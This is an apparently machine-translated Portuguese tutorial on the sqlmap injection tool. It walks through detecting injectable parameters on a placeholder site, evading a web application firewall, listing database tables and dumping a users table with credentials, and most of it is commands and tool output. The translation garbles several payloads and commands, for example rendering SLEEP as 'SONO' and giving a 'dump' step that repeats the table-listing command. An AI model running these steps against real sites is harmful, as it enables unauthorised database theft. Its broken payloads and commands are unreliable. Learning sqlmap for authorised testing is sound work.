Tutorial Do SQLmap

Executar o sqlmap você mesmo não é difícil.
Este tutorial irá levá-lo do noob ao ninja com esta poderosa ferramenta de teste de injeção de sql .

O Sqlmap é uma ferramenta baseada em python, o que significa que geralmente será executada em qualquer sistema com python. No entanto, gostamos do Linux e, especificamente, do Ubuntu, ele simplesmente facilita o trabalho. O Python já vem instalado no Ubuntu. Essa é a mesma ferramenta que usamos em nosso site de teste de injeção de sql online .
Para iniciar o sqlmap, é uma questão de baixar a ferramenta, descompactá-la e executar o comando com as opções necessárias. Como pode haver usuários do Windows entre você, primeiro começarei com como instalar e executar o Ubuntu. É fácil começar em um sistema Ubuntu Linux, mesmo que o pensamento do Linux envie espasmos tremores de medo. Quem sabe, você pode até gostar.

Instale o SQLmap

Etapa 1: obter um sistema operacional baseado em Linux

Se você deseja executar o SQLmap no Windows com Python, verifique se o Python está instalado e vá para a próxima etapa. Caso contrário, ative o sistema Linux. Instale uma máquina virtual Linux (Ubuntu ou Kali recomendado) no Windows (Virtualbox / VMware / Parrallels) ou inicialize a área de trabalho do Linux.
Se você executa o Microsoft Windows como seu sistema operacional principal, é conveniente e simples executar uma instalação do Ubuntu Linux (ou Kali Linux ) em uma máquina virtual. Você pode jogar com sqlmap, nmap, nikto e openvas junto com centenas de outras poderosas ferramentas de segurança de código aberto.

Etapa 2: Instalação do SQLmap

O Python está pré-instalado no Ubuntu, então tudo o que você precisa fazer é clonar o repositório mais recente do git e iniciar seu teste.
elliot @ evilcorp: ~ $ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Clonando em 'sqlmap-dev' ...
remote: Contando objetos: 633, pronto.
remote: Compactando objetos: 100% (602/602), concluído.
remoto: Total 633 (delta 170), reutilizado 171 (delta 20), reutilizado por pacote 0
Objetos de recebimento: 100% (633/633), 7,17 MiB | 2,44 MiB / s, pronto.
Resolução de deltas: 100% (170/170), concluído.
Vá para o diretório e execute o script python para garantir que tudo fique bem.
elliot @ evilcorp: ~ $ cd sqlmap-dev
elliot @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py


       __H__
 ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev}
| _ - | . ['] . . |
| ___ | _ ["] _ | _ | _ | __, | _ |
      | _ | V ... | _ | http://sqlmap.org


Uso: python sqlmap.py [opções]

sqlmap.py: erro: falta uma opção obrigatória (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output ou - -dependencies), use -h para básico ou -hh para ajuda avançada
Se você não vir algo parecido com o resultado acima, verifique se o python está funcionando (tente python -V) para verificar a versão e se você está no local certo. Agora vamos seguir em frente, essa foi a parte mais fácil.
Para obter uma lista completa das opções disponíveis, execute python sqlmap.py -h.

Executando SQLmap

Teste simples baseado em HTTP GET

Neste teste simples, usaremos uma HTTP GETsolicitação baseada em padrão em um URI com um parâmetro (? Id = 5). Isso testará diferentes métodos de injeção de SQL em relação ao idparâmetro.
python sqlmap.py -u 'http://mytestsite.com/page.php?id=5'
Nos resultados, podemos ver os diferentes métodos usados ​​contra o parâmetro.
 

       ___
       __H__
 ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev}
| _ - | . ['] . . |
| ___ | _ ["] _ | _ | _ | __, | _ |
      | _ | V ... | _ | http://sqlmap.org


[!] aviso legal: o uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis ​​por qualquer uso indevido ou dano causado por este programa

[*] a partir das 12:55:56

[12:55:56] [INFO] testando a conexão com o URL de destino
[12:55:57] [INFO] verificando se o destino está protegido por algum tipo de WAF / IPS / IDS
[12:55:58] [INFO] testando se o conteúdo do URL de destino é estável
[12:55:58] [INFO] o conteúdo do URL de destino está estável
[12:55:58] [INFO] testando se o parâmetro GET 'id' é dinâmico
[12:55:58] [INFO] confirmando que o parâmetro GET 'id' é dinâmico
[12:55:59] O parâmetro [id "GET [INFO] é dinâmico
[12:55:59] O teste heurístico (básico) mostra que o parâmetro GET 'id' pode ser injetável (possível DBMS: 'MySQL')
[12:56:00] [INFO] testando a injeção de SQL no parâmetro GET 'id'
parece que o DBMS de back-end é 'MySQL'. Deseja pular cargas úteis de teste específicas para outros DBMSes? [S / n] S
para os testes restantes, você deseja incluir todos os testes para 'MySQL' estendendo os valores de nível (1) e risco (1) fornecidos? [S / n] S
[12:56:16] [INFO] testando 'AND cego baseado em booleano - cláusula WHERE ou HAVING'
[12:56:18] [INFO] O parâmetro GET 'id' parece ser 'AND cego baseado em booleano - cláusula WHERE ou HAVING' injetável (com --string = "hac")
[12:56:18] [INFO] testando 'MySQL> = 5.5 E com base em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (BIGINT UNSIGNED)'
[12:56:19] [INFO] testando 'MySQL> = 5.5 OU com base em erro - cláusula WHERE ou HAVING (BIGINT UNSIGNED)'
[12:56:19] [INFO] testando 'MySQL> = 5.5 E com base em erro - WHERE, HAVING, ORDER BY ou GROUP BY (EXP)'
[12:56:19] [INFO] testando 'MySQL> = 5.5 OU com base em erro - cláusula WHERE or HAVING (EXP)'
[12:56:20] [INFO] testando 'MySQL> = 5.7.8 E baseado em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (JSON_KEYS)'
[12:56:20] [INFO] testando 'MySQL> = 5.7.8 OR com base em erro - cláusula WHERE ou HAVING (JSON_KEYS)'
[12:56:21] [INFO] testando 'MySQL> = 5.0 E com base em erro - WHERE, HAVING, ORDER BY ou cláusula GROUP BY (FLOOR)'
[12:56:21] [INFO] testando 'MySQL> = 5.0 OR com base em erro - WHERE, HAVING, ORDER BY ou cláusula GROUP BY (FLOOR)'
[12:56:21] [INFO] testando 'MySQL> = 5.1 E com base em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (EXTRACTVALUE)'
[12:56:22] [INFO] testando 'MySQL> = 5.1 OU com base em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (EXTRACTVALUE)'
[12:56:22] [INFO] testando 'MySQL> = 5.1 E com base em erro - WHERE, HAVING, ORDER BY ou GROUP BY (UPDATEXML)'
[12:56:22] [INFO] testando 'MySQL> = 5.1 OU com base em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (UPDATEXML)'
[12:56:23] [INFO] testando 'MySQL> = 4.1 E com base em erro - WHERE, HAVING, ORDER BY ou cláusula GROUP BY (FLOOR)'
[12:56:23] [INFO] testando 'MySQL> = 4.1 OU com base em erro - cláusula WHERE or HAVING (FLOOR)'
[12:56:24] [INFO] testando 'MySQL OR com base em erro - cláusula WHERE ou HAVING (FLOOR)'
[12:56:24] [INFO] testando 'MySQL> = 5.1 com base em erro - ANÁLISE DE PROCEDIMENTOS (EXTRACTVALUE)'
[12:56:25] [INFO] testando 'MySQL> = 5.5 com base em erro - Substituição de parâmetro (BIGINT UNSIGNED)'
[12:56:25] [INFO] testando 'MySQL> = 5.5 com base em erro - Substituição de parâmetro (EXP)'
[12:56:25] [INFO] testando 'MySQL> = 5.7.8 com base em erro - Substituição de parâmetro (JSON_KEYS)'
[12:56:26] [INFO] testando 'MySQL> = 5.0 com base em erro - Substituição de parâmetro (PISO)'
[12:56:26] [INFO] testando 'MySQL> = 5.1 com base em erro - Substituição de parâmetro (UPDATEXML)'
[12:56:27] [INFO] testando 'MySQL> = 5.1 com base em erro - Substituição de parâmetro (EXTRACTVALUE)'
[12:56:27] [INFO] testando 'consultas embutidas do MySQL'
[12:56:27] [INFO] testando 'MySQL> 5.0.11 consultas empilhadas (comentário)'
[12:56:28] [INFO] testando 'MySQL> 5.0.11 consultas empilhadas'
[12:56:28] [INFO] testando 'MySQL> 5.0.11 consultas empilhadas (consulta SLEEP - comentário)'
[12:56:28] [INFO] testando 'MySQL> 5.0.11 consultas empilhadas (consulta SLEEP)'
[12:56:29] [INFO] testando 'MySQL <5.0.12 consultas empilhadas (consulta pesada - comentário)'
[12:56:29] [INFO] testando 'MySQL <5.0.12 consultas empilhadas (consulta pesada)'
[12:56:30] [INFO] testando 'MySQL> = 5.0.12 E cego com base no tempo'
[12:56:41] [INFO] O parâmetro GET 'id' parece ser 'MySQL> = 5.0.12 AND cego com base no tempo' injetável
[12:56:41] [INFO] testando 'Consulta UNION genérica (NULL) - 1 a 20 colunas'
[12:56:41] [INFO] estendendo automaticamente os intervalos para testes da técnica de injeção de consulta UNION, pois há pelo menos uma outra técnica (potencial) encontrada
[12:56:41] [INFO] A técnica 'ORDER BY' parece ser utilizável. Isso deve reduzir o tempo necessário para encontrar o número certo de colunas de consulta. Estendendo automaticamente o intervalo para o teste atual da técnica de injeção de consulta UNION
[12:56:43] O URL de destino [INFO] parece ter 3 colunas na consulta
[12:56:46] [INFO] O parâmetro GET 'id' é 'Consulta UNION genérica (NULL) - injetável de 1 a 20 colunas'
O parâmetro GET 'id' é vulnerável. Deseja continuar testando os outros (se houver)? [s / N] n
O sqlmap identificou o (s) seguinte (s) ponto (s) de injeção com um total de 53 solicitações HTTP (s):
---
Parâmetro: id (GET)
    Tipo: cego baseado em booleano
    Título: AND cego baseado em booleano - cláusula WHERE ou HAVING
    Carga útil: id = 1 AND 9561 = 9561

    Tipo: E / OU cego com base no tempo
    Título: MySQL> = 5.0.12 E cego baseado em tempo
    Carga útil: id = 1 E SONO (5)

    Tipo: consulta UNION
    Título: Consulta UNION genérica (NULL) - 3 colunas
    Carga útil: id = -6630 UNION ALL SELECT NULL, CONCAT (0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71), JULL--
---
[12:56:52] [INFO] o DBMS de back-end é MySQL
tecnologia de aplicativos da web: Nginx, PHP 5.3.10
DBMS de backend: MySQL> = 5.0.12
[12:56:52] [INFO] buscou dados registrados em arquivos de texto em '/home/elliot/.sqlmap/output/mytestsite'

[*] desligando às 12:56:52

Ficar bloqueado pelo Firewall de Aplicativos da Web - WAF

Tente usar um agente de usuário diferente e, em seguida, o sqlmap padrão com o --randomagentparâmetro
elliot @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u "http://mytestsite.com/page.php?id=5" --random-agent
        ___
       __H__
 ___ ___ [,] _____ ___ ___ {1.3.10.41 # dev}
| _ - | . [.] . . |
| ___ | _ [)] _ | _ | _ | __, | _
      | _ | V ... | _ | http://sqlmap.org

[!] aviso legal: o uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis ​​por qualquer uso indevido ou dano causado por este programa

[*] a partir das 14:14:04 / 2019-11-01 /

Recuperar as tabelas de banco de dados

O SQLmap pode ser usado para testar e explorar o SQL Injection, fazendo coisas como extrair dados de bancos de dados, atualizar tabelas e até abrir shell em hosts remotos se todos os patos estiverem alinhados.
Vamos recuperar as tabelas do banco de dados usando a vulnerabilidade de injeção SQL confirmada acima. Como você verá na saída abaixo, podemos continuar testando o alvo sem precisar testar novamente a vulnerabilidade. O SQLmap usa as informações que conhece sobre o site para explorar ainda mais o banco de dados de destino.
Para recuperar dados, simplesmente adicionamos um parâmetro ao comando anterior. Ao adicionar --tables, podemos tentar recuperar todas as tabelas.
elliot @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables

        ___
       __H__
 ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev}
| _ - | . ['] . . |
| ___ | _ ["] _ | _ | _ | __, | _ |
      | _ | V ... | _ | http://sqlmap.org


[!] aviso legal: o uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis ​​por qualquer uso indevido ou dano causado por este programa

[*] a partir das 12:59:04

[12:59:04] [INFO] continuando o DBMS de back-end 'mysql'
[12:59:04] [INFO] testando a conexão com o URL de destino
O sqlmap retomou o (s) seguinte (s) ponto (s) de injeção da sessão armazenada:
---
Parâmetro: id (GET)
    Tipo: cego baseado em booleano
    Título: AND cego baseado em booleano - cláusula WHERE ou HAVING
    Carga útil: id = 1 AND 9561 = 9561

    Tipo: E / OU cego com base no tempo
    Título: MySQL> = 5.0.12 E cego baseado em tempo
    Carga útil: id = 1 E SONO (5)

    Tipo: consulta UNION
    Título: Consulta UNION genérica (NULL) - 3 colunas
    Carga útil: ud = -6630 UNION ALL SELECT NULL, CONCAT (0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71), NULL
---
[12:59:05] [INFO] o DBMS de back-end é MySQL
tecnologia de aplicativos da web: Nginx, PHP 5.3.10
DBMS de backend: MySQL> = 5.0.12

Base de dados: livros
[8 mesas]
+ --------------------------------------- +
| autor
| carrinhos de compras |
| categorias |
| destaque |
| livro de visitas |
| imagens
| produtos |
| usuários |
+ --------------------------------------- +

Banco de Dados: information_schema
[28 tabelas] == snipped ==
+ --------------------------------------- +
| CHARACTER_SETS |
| COLLAÇÕES
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUNAS
| GATILHOS |
| USER_PRIVILEGES |
| VISTAS |
+ --------------------------------------- +

[12:59:21] [INFO] buscou dados registrados em arquivos de texto em '/home/elliot/.sqlmap/output/mytestsite.com'

[*] desligando às 12:59:21

Despejar os dados

Para obter dados, simplesmente estendemos nosso comando. A adição -T usersse concentrará na tabela de usuários, na qual poderemos obter algumas credenciais. A adição --dumpinstruirá o SQLmap a pegar todos os dados da tabela de usuários, primeiro as colunas serão enumeradas e, em seguida, os dados serão despejados das colunas.
elliot @ evilcorp: ~ / sqlmap-dev $ python sqlmap.py -u 'http://mytestsite.com/page.php?id=5' --tables

        ___
       __H__
 ___ ___ ['] _____ ___ ___ {1.3.10.41 # dev}
| _ - | . ['] . . |
| ___ | _ ["] _ | _ | _ | __, | _ |
      | _ | V ... | _ | http://sqlmap.org


[!] aviso legal: o uso do sqlmap para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis ​​por qualquer uso indevido ou dano causado por este programa

[*] a partir das 12:59:04

[12:59:04] [INFO] continuando o DBMS de back-end 'mysql'
[12:59:04] [INFO] testando a conexão com o URL de destino
O sqlmap retomou o (s) seguinte (s) ponto (s) de injeção da sessão armazenada:
--- SNIP -----
Banco de dados: usuários
Tabela: usuários
[1 entrada]
+ ---------- + ---------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- +
| nome | carrinho passar | usuário | telefone | email | endereço |
---------- + ----------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- +
| Elliot 55207107sfefsff8e7f2fa5ef4fa00f6 | teste teste 4563454 | fake@testtest.com | |
+ ---------- + ---------------------------------- + --- --- + ------- + --------- + ------------------------ + --- -------------- +

[13:08:36] A tabela [INFO] 'users' despejou no arquivo CSV '/home/fred/.sqlmap/output/mytestsite/dump/books/users.csv'
[13:08:36] [INFO] buscou dados registrados em arquivos de texto em '/home/fred/.sqlmap/output/mytestsite'

[*] desligando às 13:08:36

Dicas do SQLmap - Seja ninja no seu teste de injeção de SQL

Saída detalhada

Ao testar a injeção de SQL, geralmente é necessário analisar as solicitações manualmente para determinar problemas com o teste ou confirmar ou explorar ainda mais uma injeção descoberta. Ser capaz de aumentar a verbosidade da sua saída do SQLmap ajudará nesse teste.
Ao aumentar a verbosidade para 4, é possível obter as solicitações HTTP, com 5 você também vê os cabeçalhos de resposta HTTP e 6 mostra a resposta HTTP completa. Obviamente, isso pode ficar super barulhento, mas às vezes você precisa ver o que está acontecendo.

Tem credenciais de banco de dados?

Esta dica útil permite conectar-se diretamente ao banco de dados e despejar dados como usuários, bancos de dados ou tabelas. O bom disso é que você não precisa se lembrar da sintaxe SQL do banco de dados ou ter um cliente instalado. O SQLmap fará o trabalho pesado atuando como um Cliente de Banco de Dados para despejar dados.

Cadeias de conexão de banco de dados:

MySQL, Oracle, Microsoft SQL Server, PostgreSQL
DBMS: // USUÁRIO: PASSWORD @ DBMS_IP: DBMS_PORT / DATABASE_NAME
SQLite, Microsoft Access
DBMS: // DATABASE_FILEPATH

Estourando Conchas e Mais

O SQLmap tem um número ridículo de opções e é uma ferramenta incrível para se tornar um com um banco de dados. Além de abrir conchas no host de destino, você pode enviar solicitações pelo tor, encontrar injeções nas respostas da página automaticamente, sites spider e, é claro, executar testes baseados em HTTP POST . Esses exemplos meramente arranham a superfície. Encontre mais exemplos na excelente página wiki do github .